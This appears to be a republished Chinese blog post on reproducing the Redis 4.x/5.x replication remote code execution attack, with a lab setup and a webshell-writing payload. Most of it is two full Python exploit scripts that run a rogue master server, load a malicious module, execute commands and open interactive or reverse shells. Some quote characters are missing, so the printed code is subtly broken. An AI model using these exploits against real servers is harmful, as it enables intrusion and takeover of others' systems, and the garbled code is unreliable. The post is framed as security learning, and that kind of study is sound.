Redis 4.x RCE 复现学习

Posted wfzwebsecuity

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Redis 4.x RCE 复现学习相关的知识,希望对你有一定的参考价值。

攻击场景:

能够访问远程redis的端口(直接访问或者SSRF)
对redis服务器可以访问到的另一台服务器有控制权

实际上就是通过主从特性来 同步传输数据,同时利用模块加载来加载恶意的用来进行命令执行的函数,从而进行rce

redis之前的攻击方法有

1.写shell

CONFIG SET dir /VAR/WWW/html
CONFIG SET dbfilename sh.php
SET PAYLOAD <?php eval($_GET[0]);?>
SAVE

但是对于网站根目录而言,redis不一定据有写权限

2.root权限写crontab或者ssh文件

高版本redis运行时为非root权限,并且写crontab反弹shell也仅仅局限于centos

技术图片

 攻击的整个流程为:

1.在我们要攻击的redis服务器上通过slave of来设置master,也就是来设置主服务器
2.在目标redis服务器上设置dbfilename
3.通过同步,将主服务器上的数据存到本地,也就是来写入我们的恶意模块(FULLRESYNC <Z*40> 1\\r\\n$<len>\\r\\n<pld>)
4.在目标机器上执行load来家在我们的恶意模块(MODULE LOAD /tmp/exp.so)

环境搭建:

docker pull hareemca123/redis5:alpine
docker run -p 192.168.1.6:6379:6379 --name redis hareemca123/redis5:alpine

 exp地址:

https://github.com/n0b0dyCN/redis-rogue-server

支持交互式shell和反弹shell

技术图片

我们这里尝试写文件都是可以的:

 技术图片

技术图片

技术图片

只不过因为在docker里面所以写文件的位置是有限的,这里我只能写到/data,其他地方写不进去,因为这个镜像只是一个redis,如果是服务器上有redis,那么可以尝试向网站的根目录写shell,这里执行命令都是可以的

这里直接rce的exp:

源地址:

https://github.com/vulhub/redis-rogue-getshell

#!/usr/bin/env python3
import os
import sys
import argparse
import socketserver
import logging
import socket
import time

logging.basicConfig(stream=sys.stdout, level=logging.INFO, format=>> %(message)s)
DELIMITER = b"\\r\\n"


class RoguoHandler(socketserver.BaseRequestHandler):
    def decode(self, data):
        if data.startswith(b*):
            return data.strip().split(DELIMITER)[2::2]
        if data.startswith(b$):
            return data.split(DELIMITER, 2)[1]

        return data.strip().split()

    def handle(self):
        while True:
            data = self.request.recv(1024)
            logging.info("receive data: %r", data)
            arr = self.decode(data)
            if arr[0].startswith(bPING):
                self.request.sendall(b+PONG + DELIMITER)
            elif arr[0].startswith(bREPLCONF):
                self.request.sendall(b+OK + DELIMITER)
            elif arr[0].startswith(bPSYNC) or arr[0].startswith(bSYNC):
                self.request.sendall(b+FULLRESYNC  + bZ * 40 + b 1 + DELIMITER)
                self.request.sendall(b$ + str(len(self.server.payload)).encode() + DELIMITER)
                self.request.sendall(self.server.payload + DELIMITER)
                break

        self.finish()

    def finish(self):
        self.request.close()


class RoguoServer(socketserver.TCPServer):
    allow_reuse_address = True

    def __init__(self, server_address, payload):
        super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
        self.payload = payload


class RedisClient(object):
    def __init__(self, rhost, rport):
        self.client = socket.create_connection((rhost, rport), timeout=10)

    def send(self, data):
        data = self.encode(data)
        self.client.send(data)
        logging.info("send data: %r", data)
        return self.recv()

    def recv(self, count=65535):
        data = self.client.recv(count)
        logging.info("receive data: %r", data)
        return data

    def encode(self, data):
        if isinstance(data, bytes):
            data = data.split()

        args = [b*, str(len(data)).encode()]
        for arg in data:
            args.extend([DELIMITER, b$, str(len(arg)).encode(), DELIMITER, arg])

        args.append(DELIMITER)
        return b‘‘.join(args)


def decode_command_line(data):
    if not data.startswith(b$):
        return data.decode(errors=ignore)

    offset = data.find(DELIMITER)
    size = int(data[1:offset])
    offset += len(DELIMITER)
    data = data[offset:offset+size]
    return data.decode(errors=ignore)


def exploit(rhost, rport, lhost, lport, expfile, command, auth):
    with open(expfile, rb) as f: 
        server = RoguoServer((0.0.0.0, lport), f.read()) #在攻击者主机建立伪造redis主服务器,并且设置恶意模块数据

    client = RedisClient(rhost, rport) #连接客户端redis,也就是被攻击的redis服务器

    lhost = lhost.encode() 
    lport = str(lport).encode()
    command = command.encode()

    if auth:
        client.send([bAUTH, auth.encode()])

    client.send([bSLAVEOF, lhost, lport])  #设置我们的攻击机为master
    client.send([bCONFIG, bSET, bdbfilename, bexp.so]) #设置用来保存恶意模块的文件名,这里不能跨目录,源码中有限制,lemon师傅已经分析过
    time.sleep(2)

    server.handle_request()
    time.sleep(2)

    client.send([bMODULE, bLOAD, b./exp.so]) #加载恶意模块
    client.send([bSLAVEOF, bNO, bONE]) #停止同步主服务器数据
    client.send([bCONFIG, bSET, bdbfilename, bdump.rdb]) #将恶意模块写入到本地磁盘
    resp = client.send([bsystem.exec, command]) #发送要执行的命令
    print(decode_command_line(resp))

    client.send([bMODULE, bUNLOAD, bsystem]) #卸载rce的模块


def main():
    parser = argparse.ArgumentParser(description=Redis 4.x/5.x RCE with RedisModules)
    parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)
    parser.add_argument("-p", "--rport", dest="rport", type=int,
                        help="target redis port, default 6379", default=6379)
    parser.add_argument("-L", "--lhost", dest="lhost", type=str,
                        help="rogue server ip", required=True)
    parser.add_argument("-P", "--lport", dest="lport", type=int,
                        help="rogue server listen port, default 21000", default=21000)
    parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default=exp.so)
    parser.add_argument(-c, --command, type=str, help=Command that you want to execute, default=id)

    parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")
    options = parser.parse_args()

    filename = options.file
    if not os.path.exists(filename):
        logging.info("Where you module? ")
        sys.exit(1)

    exploit(options.rhost, options.rport, options.lhost, options.lport, filename, options.command, options.auth) #初始化攻击参数


if __name__ == __main__:
    main()

 这个exp只是用来执行命令的,不带反弹shell,下面这个exp是反弹shell的,但是直接跑有点编码上的问题,需要改一点点:

#coding:utf-8
import socket
import sys
from time import sleep
from optparse import OptionParser
import re
CLRF = "\\r\\n"
SERVER_EXP_MOD_FILE = "exp.so"
DELIMITER = b"\\r\\n"
BANNER = """______         _ _      ______                         _____                          
| ___ \\       | (_)     | ___ \\                       /  ___|                         
| |_/ /___  __| |_ ___  | |_/ /___   __ _ _   _  ___  \\ `--.  ___ _ ____   _____ _ __ 
|    // _ \\/ _` | / __| |    // _ \\ / _` | | | |/ _ \\  `--. \\/ _ \\ ‘__\\ \\ / / _ \\ ‘__|
| |\\ \\  __/ (_| | \\__ \\ | |\\ \\ (_) | (_| | |_| |  __/ /\\__/ /  __/ |   \\ V /  __/ |   
\\_| \\_\\___|\\__,_|_|___/ \\_| \\_\\___/ \\__, |\\__,_|\\___| \\____/ \\___|_|    \\_/ \\___|_|   
                                     __/ |                                            
                                    |___/                                             
@copyright n0b0dy @ r3kapig
"""

def encode_cmd_arr(arr):
    cmd = ""
    cmd += "*" + str(len(arr))
    for arg in arr:
        cmd += CLRF + "$" + str(len(arg))
        cmd += CLRF + arg
    cmd += "\\r\\n"
    return cmd

def encode_cmd(raw_cmd):
    return encode_cmd_arr(raw_cmd.split(" "))

def decode_cmd(cmd):
    if cmd.startswith("*"):
        raw_arr = cmd.strip().split("\\r\\n")
        return raw_arr[2::2]
    if cmd.startswith("$"):
        return cmd.split("\\r\\n", 2)[1]
    return cmd.strip().split(" ")

def info(msg):
    print(f"\\033[1;32;40m[info]\\033[0m msg")

def error(msg):
    print(f"\\033[1;31;40m[err ]\\033[0m msg")

def decode_command_line(data):
    if not data.startswith(b$):
        return data.decode(errors=ignore)

    offset = data.find(DELIMITER)
    size = int(data[1:offset])
    offset += len(DELIMITER)
    data = data[offset:offset+size]
    print(data)
    return data.decode(errors=ignore)

def din(sock, cnt=65535):
    global verbose
    msg = sock.recv(cnt)
    if verbose:
        if len(msg) < 1000:
            print(f"\\033[1;34;40m[->]\\033[0m msg")
        else:
            print(f"\\033[1;34;40m[->]\\033[0m msg[:80]......msg[-80:]")
    if sys.version_info < (3, 0):
        res = re.sub(r[^\\x00-\\x7f], r‘‘, msg)
    else:
        res = re.sub(b[^\\x00-\\x7f], b‘‘, msg)
    print(decode_command_line(msg))
    return decode_command_line(msg)

def dout(sock, msg):
    global verbose
    if type(msg) != bytes:
        msg = msg.encode()
    sock.send(msg)
    if verbose:
        if len(msg) < 1000:
            print(f"\\033[1;33;40m[<-]\\033[0m msg")
        else:
            print(f"\\033[1;33;40m[<-]\\033[0m msg[:80]......msg[-80:]")

def decode_shell_result(s):
    return "\\n".join(s.split("\\r\\n")[1:-1])

class Remote:
    def __init__(self, rhost, rport):
        self._host = rhost
        self._port = rport
        self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self._sock.connect((self._host, self._port))

    def send(self, msg):
        dout(self._sock, msg)

    def recv(self, cnt=65535):
        return din(self._sock, cnt)

    def do(self, cmd):
        self.send(encode_cmd(cmd))
        buf = self.recv()
        return buf

    def shell_cmd(self, cmd):
        self.send(encode_cmd_arr([system.exec, f"cmd"]))
        buf = self.recv()
        return buf

class RogueServer:
    def __init__(self, lhost, lport):
        self._host = lhost
        self._port = lport
        self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self._sock.bind((0.0.0.0, self._port))
        self._sock.listen(10)

    def close(self):
        self._sock.close()

    def handle(self, data):
        cmd_arr = decode_cmd(data)
        resp = ""
        phase = 0
        if cmd_arr[0].startswith("PING"):
            resp = "+PONG" + CLRF
            phase = 1
        elif cmd_arr[0].startswith("REPLCONF"):
            resp = "+OK" + CLRF
            phase = 2
        elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"):
            resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
            resp += "$" + str(len(payload)) + CLRF
            resp = resp.encode()
            resp += payload + CLRF.encode()
            phase = 3
        return resp, phase

    def exp(self):
        cli, addr = self._sock.accept()
        while True:
            data = din(cli, 1024)
            if len(data) == 0:
                break
            resp, phase = self.handle(data)
            dout(cli, resp)
            if phase == 3:
                break

def interact(remote):
    info("Interact mode start, enter \\"exit\\" to quit.")
    try:
        while True:
            cmd = input("\\033[1;32;40m[<<]\\033[0m ").strip()
            if cmd == "exit":
                return
            r = remote.shell_cmd(cmd)
            for l in decode_shell_result(r).split("\\n"):
                if l:
                    print("\\033[1;34;40m[>>]\\033[0m " + l)
    except KeyboardInterrupt:
        pass

def reverse(remote):
    info("Open reverse shell...")
    addr = input("Reverse server address: ")
    port = input("Reverse server port: ")
    dout(remote, encode_cmd(f"system.rev addr port"))
    info("Reverse shell payload sent.")
    info(f"Check at addr:port")

def cleanup(remote):
    info("Unload module...")
    remote.do("MODULE UNLOAD system")

def runserver(rhost, rport, lhost, lport):
    # expolit
    remote = Remote(rhost, rport)
    info("Setting master...")
    remote.do(f"SLAVEOF lhost lport")
    info("Setting dbfilename...")
    remote.do(f"CONFIG SET dbfilename SERVER_EXP_MOD_FILE")
    sleep(2)
    rogue = RogueServer(lhost, lport)
    rogue.exp()
    sleep(2)
    info("Loading module...")
    remote.do(f"MODULE LOAD ./SERVER_EXP_MOD_FILE")
    info("Temerory cleaning up...")
    remote.do("SLAVEOF NO ONE")
    remote.do("CONFIG SET dbfilename dump.rdb")
    remote.shell_cmd(f"rm ./SERVER_EXP_MOD_FILE")
    rogue.close()

    # Operations here
    choice = input("What do u want, [i]nteractive shell or [r]everse shell: ")
    if choice.startswith("i"):
        interact(remote)
    elif choice.startswith("r"):
        reverse(remote)

    cleanup(remote)

if __name__ == __main__:
    print(BANNER)
    parser = OptionParser()
    parser.add_option("--rhost", dest="rh", type="string",
            help="target host", metavar="REMOTE_HOST")
    parser.add_option("--rport", dest="rp", type="int",
            help="target redis port, default 6379", default=6379,
            metavar="REMOTE_PORT")
    parser.add_option("--lhost", dest="lh", type="string",
            help="rogue server ip", metavar="LOCAL_HOST")
    parser.add_option("--lport", dest="lp", type="int",
            help="rogue server listen port, default 21000", default=21000,
            metavar="LOCAL_PORT")
    parser.add_option("--exp", dest="exp", type="string",
            help="Redis Module to load, default exp.so", default="exp.so",
            metavar="EXP_FILE")
    parser.add_option("-v", "--verbose", action="store_true", default=False,
            help="Show full data stream")

    (options, args) = parser.parse_args()
    global verbose, payload, exp_mod
    verbose = options.verbose
    exp_mod = options.exp
    payload = open(exp_mod, "rb").read()

    if not options.rh or not options.lh:
        parser.error("Invalid arguments")

    info(f"TARGET options.rh:options.rp")
    info(f"SERVER options.lh:options.lp")
    try:
        runserver(options.rh, options.rp, options.lh, options.lp)
    except Exception as e:
        error(repr(e))

我结合第一个exp的redis数据解码方式把第二个的稍微改了下,多字节解码可能报错直接decode(errors="ignore")忽略就好了,接下来就可以执行交互式shell或者反弹shell

以上是关于Redis 4.x RCE 复现学习的主要内容,如果未能解决你的问题,请参考以下文章

漏洞复现phpStudy 小皮 Windows面板 RCE漏洞

Laravel Debug mode RCE(CVE-2021-3129)漏洞复现

Laravel v5.8 反序列化rce (CVE-2019-9081) 复现

thinkphp 5-rce复现

Solr-rce漏洞复现

Xmind XSS导致RCE漏洞复现